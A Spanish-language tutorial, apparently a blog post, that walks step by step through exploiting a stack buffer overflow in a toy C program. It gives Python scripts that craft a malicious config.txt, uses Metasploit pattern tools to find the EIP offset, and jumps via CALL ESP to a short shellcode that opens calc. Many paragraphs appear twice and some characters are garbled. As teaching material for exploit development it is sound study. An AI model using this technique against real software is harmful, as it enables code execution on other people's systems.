Codigo del Programa a Analizar:
#include <cstdlib> #include <iostream> using namespace std; int main(int argc, char *argv[]) { char Nombre[20]; FILE *archivo; char letras[1000]; archivo = fopen("config.txt", "r"); fgets(letras, 1000, archivo); strcpy(Nombre, letras); printf("%s\n", Nombre); system("PAUSE"); fclose; return EXIT_SUCCESS; }

Este
breve programa en C procede a leer de un archivo de configuración "config.txt"
cierta cantidad de letras con el comando fgets, esta instruccion no controla el largo de los datos que recibirá.
La lógica nos dice que si este comando esta preparado para recibir 1000 letras y nostros le enviamos 1001 letras esto podrÃa resultar en un Buffer Overflow y el tipico cartel de corrupción de memoria.
Entendido el Concepto estamos listos para probar si esto es cierto.
Utilizando algun lenguaje de programacion (en mi caso python) empezaremos a preparar el exploit.
Con este simple codigo probaremos el concepto, esto creara un archivo config.txt que contendrá 1000 letras A concatenadas.
Sustituimos el archivo de configuración del programa por el nuestro y vemos como rompe.
La lógica nos dice que si este comando esta preparado para recibir 1000 letras y nostros le enviamos 1001 letras esto podrÃa resultar en un Buffer Overflow y el tipico cartel de corrupción de memoria.
Entendido el Concepto estamos listos para probar si esto es cierto.
Utilizando algun lenguaje de programacion (en mi caso python) empezaremos a preparar el exploit.
Variable = 'A' for a in range (999): Variable = Variable + 'A' Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()
Con este simple codigo probaremos el concepto, esto creara un archivo config.txt que contendrá 1000 letras A concatenadas.
Sustituimos el archivo de configuración del programa por el nuestro y vemos como rompe.

Al no tener un control de Excepciones, mejor conocido como Exeption Handling no salta el clásico mensaje informando que el programa se cerro inesperadamente.
Analicemos con Ollydbg:
Analicemos con Ollydbg:

Vemos
el cartel que nos muestra como el EIP ha sido sobre escrito con el hexadecimal 41414141 (AAAA). Hemos Encontrado nuestro BOF y es
momento de Explotarlo.
Lo primero que necesitamos es encontrar la dirección exacta donde se realiza la sobre escritura, para eso utilizariamos metasploit
Vamos a nuestra ruta de metasploit y entramos en la carpeta tools
ejecutamos
y vemos un string de 1000 caracteres irrepetibles, esto nos servirá a encontrar el largo exacto de la cadena al momento de la sobre escritura
Lo primero que necesitamos es encontrar la dirección exacta donde se realiza la sobre escritura, para eso utilizariamos metasploit
Vamos a nuestra ruta de metasploit y entramos en la carpeta tools
ejecutamos
sudo ./pattern_create.rb 1000
y vemos un string de 1000 caracteres irrepetibles, esto nos servirá a encontrar el largo exacto de la cadena al momento de la sobre escritura

Sustituimos
nuestra la variable de nuestro script en python por el string generado con
metasploit
queda de esta manera:
Ejecutamos este script en python y sustituimos nuevamente el archivo de configuracion. (config.txt)
Ejecutamos nuevamente con ollydbg y vemos el string exacto en hexadecimal con el que se sustituyo el EIP
queda de esta manera:
Variable = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B' #for a in range (999): #Variable = Variable + 'A' Variable = Variable Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()
Ejecutamos este script en python y sustituimos nuevamente el archivo de configuracion. (config.txt)
Ejecutamos nuevamente con ollydbg y vemos el string exacto en hexadecimal con el que se sustituyo el EIP

Anotamos
este numero:
66413965
vamos de nuevo a nuestra ruta de metasploit y ejecutamos:
66413965
vamos de nuevo a nuestra ruta de metasploit y ejecutamos:
sudo ./pattern_offset.rb 66413965Vemos el resultado 148, esto es la dirección exacta de donde comienza el EIP
Exact
match at offset 148

Vamos
a modificar nuevamente nuestro script en python:
Ejecutamos y vemos el siguiente resultado:
Variable = 'A' for a in range (147): #Cuenta desde 0 por lo que queda en 148 Variable = Variable + 'A' Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()Sustituimos nuevamente el archivo de configuración por el nuevo generado por el exploit
Ejecutamos y vemos el siguiente resultado:

Se
preguntaran porque se sucede el error el Olly, si estamos escribiendo 148
caracteres y esto nos posiciona justo en el momento de la sobre escritura?
Esto sucede por que los 148 bytes es la distancia de la cadena + los 4 bytes que pisan el EPI, por lo que 148-4 = 144
Esto nos posicionara al comienzo del EIP dejandolo intacto:
Modificamos el Script y lo dejamos asi:
Sustituimos el archivo y ejecutamos nuevamente el programa.
Esto sucede por que los 148 bytes es la distancia de la cadena + los 4 bytes que pisan el EPI, por lo que 148-4 = 144
Esto nos posicionara al comienzo del EIP dejandolo intacto:
Modificamos el Script y lo dejamos asi:
Variable = 'A' for a in range (143): #Cuenta desde 0 por lo que queda en 144 Variable = Variable + 'A' Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()
Sustituimos el archivo y ejecutamos nuevamente el programa.

Como
vemos el programa no rompe lo q significa que no hemos sobre escrito el EIP y
con suerte estamos posicionados al pie de nuestro EIP, Probemos esto.
Modificamos Nuestro Script y lo dejamos asi:
Copiamos el archivo generado por nuestro exploit y ejecutamos nuevamente el programa
Con esto estaremos en el pie del EIP o Relativamente cerca con variaciones de +- 4 bytes, Este no es el caso y vemos que el software sigue rompe por lo q aplicaremos algo que se conoce como acorralar offset
sabemos que la sobre escritura de nuestro EIP se produce dentro de los 148 bytes, por lo que dividiremos esto en 2 cadenas de Bytes una con 'A' y la otra con 'B'.
74 bytes 'A' y 74 bytes 'B'
Nuestro script Quedara:
copiamos el archivo de configuración y ejecutamos:
Modificamos Nuestro Script y lo dejamos asi:
Variable = 'A' EIP = 'BBBB' for a in range (143): #Cuenta desde 0 por lo que queda en 144 Variable = Variable + 'A' Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()
Copiamos el archivo generado por nuestro exploit y ejecutamos nuevamente el programa
Con esto estaremos en el pie del EIP o Relativamente cerca con variaciones de +- 4 bytes, Este no es el caso y vemos que el software sigue rompe por lo q aplicaremos algo que se conoce como acorralar offset
sabemos que la sobre escritura de nuestro EIP se produce dentro de los 148 bytes, por lo que dividiremos esto en 2 cadenas de Bytes una con 'A' y la otra con 'B'.
74 bytes 'A' y 74 bytes 'B'
Nuestro script Quedara:
VariableA = 'A' VariableB = 'B' Variable = '' for a in range (74): Variable = Variable + 'A' for b in range (74): Variable = Variable + 'B' #Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()
copiamos el archivo de configuración y ejecutamos:

Como
vemos la sobreescritura es de 41414141 o lo q es lo mismo AAAA
deducimos que la sobre escritura se produce en los primeros 74 bytes.
realizamos nuevamente el procedimiento de pattern_create y pattern_offset de metasploit
creando una cadena al asar e irrepetible de 74 bytes, al ejecutar el programa nuevamente vemos que hemos logrado pisar el EIP con: 35624134
Pasamos: pattern_offset 0x35624134 74
y nos da como resultado 44 bytes, Posiblemente aquà sea donde se sobrescribe el EIP.
Modificamos el Script:
deducimos que la sobre escritura se produce en los primeros 74 bytes.
realizamos nuevamente el procedimiento de pattern_create y pattern_offset de metasploit
creando una cadena al asar e irrepetible de 74 bytes, al ejecutar el programa nuevamente vemos que hemos logrado pisar el EIP con: 35624134
Pasamos: pattern_offset 0x35624134 74
y nos da como resultado 44 bytes, Posiblemente aquà sea donde se sobrescribe el EIP.
Modificamos el Script:
VariableA = 'A' EIP = 'BBBB' Variable = '' for a in range (44): Variable = Variable + 'A' Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()

Como
podemos ver EIP ha sido sustituido con 42424242 por lo que hemos logrado encontrar la
posición exacta del EIP
procederemos a realizar nuestro exploit con nuestro shellCode:
La estructura de nuestro script sera:
44 Bytes: A (NOPS)
4 bytes: B (EPI)
100 bytes: C (ShellCode)
El Script queda de esta manera:
Copiamos el archivo de configuración generado a la ruta del software vulnerable y ejecutamos con Ollydbg.
procederemos a realizar nuestro exploit con nuestro shellCode:
La estructura de nuestro script sera:
44 Bytes: A (NOPS)
4 bytes: B (EPI)
100 bytes: C (ShellCode)
El Script queda de esta manera:
VariableA = 'A' EIP = 'BBBB' Variable = '' ShellCode = '' for a in range (44): #Cuenta desde 0 por lo que queda en 144 Variable = Variable + 'A' Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP for b in range (100): ShellCode = ShellCode + 'C' Variable = Variable+ShellCode Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()
Copiamos el archivo de configuración generado a la ruta del software vulnerable y ejecutamos con Ollydbg.

Como
podemos ver en los Registros, tenemos:
.EIP con 42424242 (BBBB)
.ESP con 100 bytes de 'C'
Esto nos indica que debemos realizar un salto con EIP hacia ESP donde nuestra shellCode Tiene un espacio de 100 bytes (espacio que pude variar dependiendo cuanto indagemos) para ser alojada.
Consigamos un Salto a ESP:
Abrimos Con Nuestro OllyDbg el software vulnerable, cliqueamos en la letra E en la barra Superior de Olly (Executable Modules)
Seleccionamos alguna DLL en la lista y vamos damos click derecho seach for --> Command
y buscamos algo q haga referencia a ESP:
JMP ESP
CALL ESP
o alguna variacion matematica que nos pocicione en ESP
POP POP RET
PUSH PUSH POP, etc.
Una ves que llegamos a esto en mi caso un CALL ESP anotamos la dirección y volvemos al script
.EIP con 42424242 (BBBB)
.ESP con 100 bytes de 'C'
Esto nos indica que debemos realizar un salto con EIP hacia ESP donde nuestra shellCode Tiene un espacio de 100 bytes (espacio que pude variar dependiendo cuanto indagemos) para ser alojada.
Consigamos un Salto a ESP:
Abrimos Con Nuestro OllyDbg el software vulnerable, cliqueamos en la letra E en la barra Superior de Olly (Executable Modules)
Seleccionamos alguna DLL en la lista y vamos damos click derecho seach for --> Command
y buscamos algo q haga referencia a ESP:
JMP ESP
CALL ESP
o alguna variacion matematica que nos pocicione en ESP
POP POP RET
PUSH PUSH POP, etc.
Una ves que llegamos a esto en mi caso un CALL ESP anotamos la dirección y volvemos al script

Modificamos
nuestro script de la siguiente forma:
copiamos nuestro exploit config.txt al directorio del software vulnerable y
ejecutamos con ollydbg, si todo sale bienimport struct #Importamos libreria Struct VariableA = 'A' EIP = struct.pack('<I', 0x7C8369D8) #Creamos el salto y lo colocamos en la Variable que sustituira EIP Variable = '' ShellCode = '' #Creamos Variable que contendra la ShellCode for a in range (44): Variable = Variable + 'A' Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP for b in range (100): ShellCode = ShellCode + 'C' #Llenamos de C los 100 bytes de la ShellCode. Variable = Variable+ShellCode Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()
no deberÃa salir ningún cartel de dirección invalida de EIP ya que este realizara un salto al pie de ESP (donde se aloja nuestro ShellCode)

Como
podemos ver no se produjo ningón error y vemos en el stack que estamos justo una
linea antes de nuestras 'C'
(43x100bytes)
Estamos listos para agregar nuestro Shellcode
(43x100bytes)
Estamos listos para agregar nuestro Shellcode
"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63"
Lo colocamos en nuestro Script (En este caso usare una pequeña shellCode que ejecuta una calc en 19 bytes):
import struct #Importamos libreria Struct VariableA = 'A' EIP = struct.pack('<I', 0x7C8369D8) #Creamos el salto y lo colocamos en la Variable que sustituira EIP Variable = '' ShellCode = "\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\ x6C\x63" #Creamos Variable que contendra la ShellCode for a in range (44): Variable = Variable + 'A' Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP Variable = Variable+ShellCode Archivo = open("config.txt","r+") Archivo.write('%s' %(Variable)) Archivo.close()

y en este momento hemos logrado ejecutar nuestro shellCode con exito.
Saludos!